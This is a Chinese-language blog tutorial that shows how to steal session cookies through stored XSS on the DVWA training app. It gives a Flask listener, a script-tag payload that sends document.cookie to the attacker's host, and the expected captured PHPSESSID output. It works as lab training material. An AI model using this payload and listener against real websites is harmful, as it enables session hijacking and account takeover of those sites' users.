使用存储型 XSS 窃取 cookie 并发送到你控制的服务器

发布于:2025-06-18 ⋅ 阅读:(27) ⋅ 点赞:(0)

🧪 第一步:准备监听服务接收 cookie

在你的本机(非容器)或 DVWA 所在主机运行以下 Python 监听代码,用于接收窃取的 cookie:

启动 HTTP 接收服务

# 在本机终端运行,监听 8081 端口(确保防火墙允许)
python3 -m http.server 8081

在这里插入图片描述
注意:CentOS 7 默认开启了 firewalld,你需要允许 8081 端口访问:

firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload

确认能访问你的监听服务器:

curl http://《监听机IP》:8081

在这里插入图片描述

或者你也可以用 Flask 搭建更真实的监听:

# listener.py
from flask import Flask, request

app = Flask(__name__)

@app.route('/log')
def log():
    cookie = request.args.get('c')
    print(f"Stolen cookie: {cookie}")
    return '', 204

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081)

运行:

python3 listener.py

🧪 第二步:注入 Payload 到 DVWA 的 Stored XSS 页面

1.拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
2.打开浏览器访问你的 DVWA:http://localhost:8080/vulnerabilities/xss_s/
3.将以下 payload 作为留言输入:

🍪 Cookie 窃取 Payload:

<script>
  new Image().src="http://<你的主机IP>:8081/log?c="+document.cookie;
</script>

替换 <你的主机IP> 为你运行监听服务的真实 IP 地址。容器里访问主机可以用:

Linux 宿主:172.17.0.1

Windows/macOS Docker:host.docker.internal(需要开启端口映射)

在这里插入图片描述

✅ 第三步:触发注入点

1.提交留言后,访问该页面会触发脚本

2.你监听服务的终端中应会看到类似输出:

Stolen cookie: security=low; PHPSESSID=abcd1234xyz

在这里插入图片描述

如果能看到 cookie 值被打印,就说明 成功窃取 cookie 并 exfiltrate 出去了。


网站公告

今日签到

点亮在社区的每一天
去签到